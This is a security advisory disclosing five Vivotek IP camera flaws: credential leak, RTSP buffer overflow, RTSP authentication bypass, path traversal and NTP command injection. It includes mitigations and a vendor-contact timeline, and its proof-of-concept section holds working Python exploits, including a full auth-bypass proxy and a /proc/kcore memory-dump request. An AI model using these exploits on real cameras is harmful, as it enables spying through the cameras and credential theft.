Vivotek IP Cameras Multiple Vulnerabilities
1. *Advisory Information*
Title: Vivotek IP Cameras Multiple Vulnerabilities
Advisory ID: CORE-2013-0301
Advisory URL:
http://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities
Date published: 2013-04-29
Date of last update: 2013-04-29
Vendors contacted: Vivotek
Release mode: User release
2. *Vulnerability Information*
Class: Information leak through GET request [CWE-598], Buffer overflow
[CWE-119], Authentication issues [CWE-287], Path traversal [CWE-22], OS
command injection [CWE-78]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597,
CVE-2013-1598
3. *Vulnerability Description*
Multiple vulnerabilities have been found in Vivotek IP cameras [1] (and
potentially cameras from other vendors sharing the affected firmware)
that could allow an unauthenticated remote attacker:
1. [CVE-2013-1594] to process GET requests that contain sensitive
information,
2. [CVE-2013-1595] to execute arbitrary code,
3. [CVE-2013-1596] to access the video stream via RTSP,
4. [CVE-2013-1597] to dump the camera's memory and retrieve user
credentials,
5. [CVE-2013-1598] to execute arbitrary commands from the
administration web interface (pre-authentication with firmware 0300a and
post-authentication with firmware 0400a).
4. *Vulnerable Packages*
. Vivotek PT7135 IP camera with firmware 0300a.
. Vivotek PT7135 IP camera with firmware 0400a.
. Other Vivotek cameras/firmware are probably affected too, but they
were not checked.
5. *Non-Vulnerable Packages*
Vendor did not provide details. Contact Vivotek for further information.
6. *Vendor Information, Solutions and Workarounds*
There was no official answer from Vivotek after several attempts to
report these vulnerabilities (see [Sec. 9]). Contact vendor for further
information.
Some mitigation actions may be:
. Do not expose the camera to internet unless absolutely necessary.
. Filter RTSP traffic (default port 554) if possible.
. Have at least one proxy filtering '/../../' and 'getparam.cgi' in
HTTP requests.
. Filter strings in the parameter 'system.ntp' on every request made
to the binary 'farseer.out'.
7. *Credits*
[CVE-2013-1594] was originally discovered and reported [2] by Alejandro
Leon Morales [3] and re-discovered on new firmware versions by Flavio De
Cristofaro from Core Security.
[CVE-2013-1595] and [CVE-2013-1596] were discovered and researched by
Martin Rocha from Core Impact Pro Team. The PoC of [CVE-2013-1596] was
made by Martin Rocha with help of Juan Cotta from Core QA Team.
[CVE-2013-1597] and [CVE-2013-1598] were discovered and researched by
Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.
The publication of this advisory was coordinated by Fernando Miranda
from Core Advisories Team.
8. *Technical Description / Proof of Concept Code*
8.1. *Information leak through GET request*
[CVE-2013-1594] Several Vivotek cameras store Wireless keys and 3rd
party credentials in clear text allowing a remote attacker to obtain
sensitive information which might be valuable to perform further
attacks. Sensitive information stored in plain text includes:
. FTP credentials
. Share folder credentials
. SMTP credentials
. WEP / WPA Keys
. DynDNS credentials
. Safe100.net credentials
. TZO credentials, among others.
The following GET requests can exploit the vulnerability (requests may
change according to firmware versions and vendors devices):
/-----
http://192.168.1.100/cgi-bin/admin/getparam.cgi
http://192.168.1.100/setup/parafile.html
-----/
8.2. *Remote Buffer Overflow*
[CVE-2013-1595] The following Python script can be used to trigger the
vulnerability. This script will send to the RTSP service a specially
crafted packet with the header field 'Authorization' fully completed
with the character 'a' (0x61). As a result, the Instruction Pointer
register (IP) will be overwritten with 0x61616161, which is a typical
buffer overrun condition.
/-----
import socket, base64
cam_ip = '192.168.1.100'
session_descriptor = 'live.sdp'
request = 'DESCRIBE rtsp://%s/%s RTSP/1.0\r\n' % (cam_ip,
session_descriptor)
request+= 'CSeq: 1\r\n'
request+= 'Authorization: Basic %s\r\n'
request+= '\r\n'
auth_little = 'a' * 1000
auth_big = 'a' * 10000
msgs = [request % auth_little, request % auth_big]
for msg in msgs:
s = socket.socket()
s.connect((cam_ip, 554))
print s.send(msg)
print s.recv(0x10000)
s.close()
-----/
8.3. *RTSP Authentication Bypass*
[CVE-2013-1596] This vulnerability is triggered by sending specially
crafted RTSP packets to remote TCP port 554 of a Vivotek PT7135 camera.
As a result, the video stream can be accessed by an unauthenticated
remote attacker.
/-----
import sys
from socket import *
from threading import Thread
import time, re
LOGGING = 1
def log(s):
if LOGGING:
print '(%s) %s' % (time.ctime(), s)
class UDPRequestHandler(Thread):
def __init__(self, data_to_send, recv_addr, dst_addr):
Thread.__init__(self)
self.data_to_send = data_to_send
self.recv_addr = recv_addr
self.dst_addr = dst_addr
def run(self):
sender = socket(AF_INET, SOCK_DGRAM)
sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
sender.sendto(self.data_to_send, self.dst_addr)
response = sender.recv(1024)
sender.sendto(response, self.recv_addr)
sender.close()
class UDPDispatcher(Thread):
dispatchers = []
def __has_dispatcher_for(self, port):
return any([d.src_port == port for d in UDPDispatcher.dispatchers])
def __init__(self, src_port, dst_addr):
Thread.__init__(self)
if self.__has_dispatcher_for(src_port):
raise Exception('There is already a dispatcher for port %d'
% src_port)
self.src_port = src_port
self.dst_addr = dst_addr
UDPDispatcher.dispatchers.append(self)
def run(self):
listener = socket(AF_INET, SOCK_DGRAM)
listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
listener.bind(('', self.src_port))
while 1:
try:
data, recv_addr = listener.recvfrom(1024)
if not data: break
UDPRequestHandler(data, recv_addr, self.dst_addr).start()
except Exception as e:
print e
break
listener.close()
UDPDispatcher.dispatchers.remove( self )
class PipeThread(Thread):
pipes = []
def __init__(self, source, sink, process_data_callback=lambda x: x):
Thread.__init__(self)
self.source = source
self.sink = sink
self.process_data_callback = process_data_callback
PipeThread.pipes.append(self)
def run(self):
while 1:
try:
data = self.source.recv(1024)
data = self.process_data_callback(data)
if not data: break
self.sink.send( data )
except Exception as e:
log(e)
break
PipeThread.pipes.remove(self)
class TCPTunnel(Thread):
def __init__(self, src_port, dst_addr, process_data_callback=lambda
x: x):
Thread.__init__(self)
log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port,
dst_addr[0], dst_addr[1]))
self.dst_addr = dst_addr
self.process_data_callback = process_data_callback
# Create TCP listener socket
self.sock = socket(AF_INET, SOCK_STREAM)
self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
self.sock.bind(('', src_port))
self.sock.listen(5)
def run(self):
while 1:
# Wait until a new connection arises
newsock, address = self.sock.accept()
# Create forwarder socket
fwd = socket(AF_INET, SOCK_STREAM)
fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
fwd.connect(self.dst_addr)
# Pipe them!
PipeThread(newsock, fwd, self.process_data_callback).start()
PipeThread(fwd, newsock, self.process_data_callback).start()
class Camera():
def __init__(self, address):
self.address = address
def get_describe_data(self):
return ''
class Vivotek(Camera):
# Vivotek PT7135/0400a
def __init__(self, address):
Camera.__init__(self, address)
def get_describe_data(self):
return 'v=0\r\no=RTSP 836244 0 IN IP4 0.0.0.0\r\ns=RTSP
server\r\nc=IN IP4 0.0.0.0\r\nt=0
0\r\na=charset:Shift_JIS\r\na=range:npt=0-\r\na=control:*\r\na=etag:1234567890\r\nm=video
0 RTP/AVP 96\r\nb=AS:1200\r\na=rtpmap:96
MP4V-ES/30000\r\na=control:trackID=1\r\na=fmtp:96
profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\r\nm=audio
0 RTP/AVP 97\r\na=control:trackID=3\r\na=rtpmap:97
mpeg4-generic/16000/2\r\na=fmtp:97 streamtype=5; profile-level-id=15;
mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3;
IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\r\n'
class RTSPAuthByPasser():
DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://'
UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized'
SERVER_PORT_ARGUMENTS = 'server_port='
DEFAULT_CSEQ = 1
DEFAULT_SERVER_PORT_RANGE = '5556-5559'
def __init__(self, local_port, camera):
self.last_describe_req = ''
self.camera = camera
self.local_port = local_port
def start(self):
log('[!] Starting bypasser')
TCPTunnel(self.local_port, self.camera.address,
self.spoof_rtsp_conn).start()
def spoof_rtsp_conn(self, data):
if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
self.last_describe_req = data
elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and
self.last_describe_req:
log('[!] Unauthorized response received. Spoofing...')
spoofed_describe = self.camera.get_describe_data()
# Look for the request CSeq
m = re.search('.*CSeq:\\s*(\\d+?)\r\n.*',
self.last_describe_req)
cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ
# Create the response
data = 'RTSP/1.0 200 OK\r\n'
data+= 'CSeq: %s\r\n' % cseq
data+= 'Content-Type: application/sdp\r\n'
data+= 'Content-Length: %d\r\n' % len(spoofed_describe)
data+= '\r\n'
# Attach the spoofed describe
data+= spoofed_describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:
# Look for the server RTP ports
m = re.search('.*%s\\s*(.+?)[;|\r].*' %
RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)
ports = m.group(1) if m else
RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE
# For each port in the range create a UDP dispatcher
begin_port, end_port = map(int, ports.split('-'))
for udp_port in xrange(begin_port, end_port + 1):
try:
UDPDispatcher(udp_port, (self.camera.address[0],
udp_port)).start()
except:
pass
return data
if __name__ == '__main__':
if len( sys.argv ) > 1:
listener_port = camera_port = int(sys.argv[1])
camera_ip = sys.argv[2]
if len(sys.argv) == 4:
camera_port = int(sys.argv[3])
RTSPAuthByPasser(listener_port, Vivotek((camera_ip,
camera_port))).start()
else:
print 'usage: python %s [local_port] [camera_ip]
[camera_rtsp_port]'
-----/
8.4. *User Credentials Leaked via Path Traversal*
[CVE-2013-1597] The following Python code exploits a path traversal and
dumps the camera's memory. Valid user credentials can be extracted from
this memory dump by an unauthenticated remote attacker (firmware 0300a).
The same attack is still valid with firmware 0400a but the user has to
be authenticated in order to exploit this flaw.
/-----
import httplib
conn = httplib.HTTPConnection("192.168.1.100")
conn.request("GET", "/../../../../../../../../../proc/kcore")
resp = conn.getresponse()
data = resp.read()
-----/
8.5. *OS Command Injection*
[CVE-2013-1598] The command injection is located in the binary file
'farseer.out' in the parameter 'system.ntp':
/-----
.text:0000CB34 MOV R1, R4
.text:0000CB38 LDR R0, =aCmdporcessStar ;
"[CmdPorcess] Start sync with NTP server %s"...
.text:0000CB3C ADD R10, SP, #0x144+var_120
.text:0000CB40 BNE loc_CB68
[...]
.text:0000CB68 BL .printf
.text:0000CB6C LDR R2, =aSS_0 ; "%s%s"
.text:0000CB70 LDR R3, =aUsrSbinPsntpda ;
"/usr/sbin/psntpdate -4fr "
.text:0000CB74 MOV R1, #0xFF ; maxlen
.text:0000CB78 MOV R0, R10 ; s
.text:0000CB7C STR R4, [SP,#0x144+var_144]
.text:0000CB80 BL .snprintf
.text:0000CB84 MOV R0, R10 ; command
.text:0000CB88 BL .system
-----/
9. *Report Timeline*
. 2013-03-06:
Core Security Technologies notifies the Vivotek Customer Support of the
vulnerability (tracking ID CRM:00930113) and requests a security manager
to send a draft report regarding these vulnerabilities. No reply received.
. 2013-03-11:
Core asks for a security manager to send a confidential report.
. 2013-03-14:
Core notifies the Vivotek Technical Support of the vulnerability
(tracking ID CRM:00930485).
. 2013-03-18:
Core opens a new ticket in the Vivotek Technical Support (tracking ID
CRM:00930670).
. 2013-03-21:
Core asks for a reply regarding the tracking ID CRM:00930485.
. 2013-04-24:
Core tries to contact vendor for last time without any reply.
. 2013-04-29:
After 6 failed attempts to report the issues, the advisory
CORE-2013-0301 is published as 'user-release'.
10. *References*
[1] http://www.vivotek.com/web/product/NetworkCameras.aspx
[2] http://www.securityfocus.com/bid/54476.
[3] Alejandro Leon Morales [Gothicx] http://www.undermx.blogspot.mx.
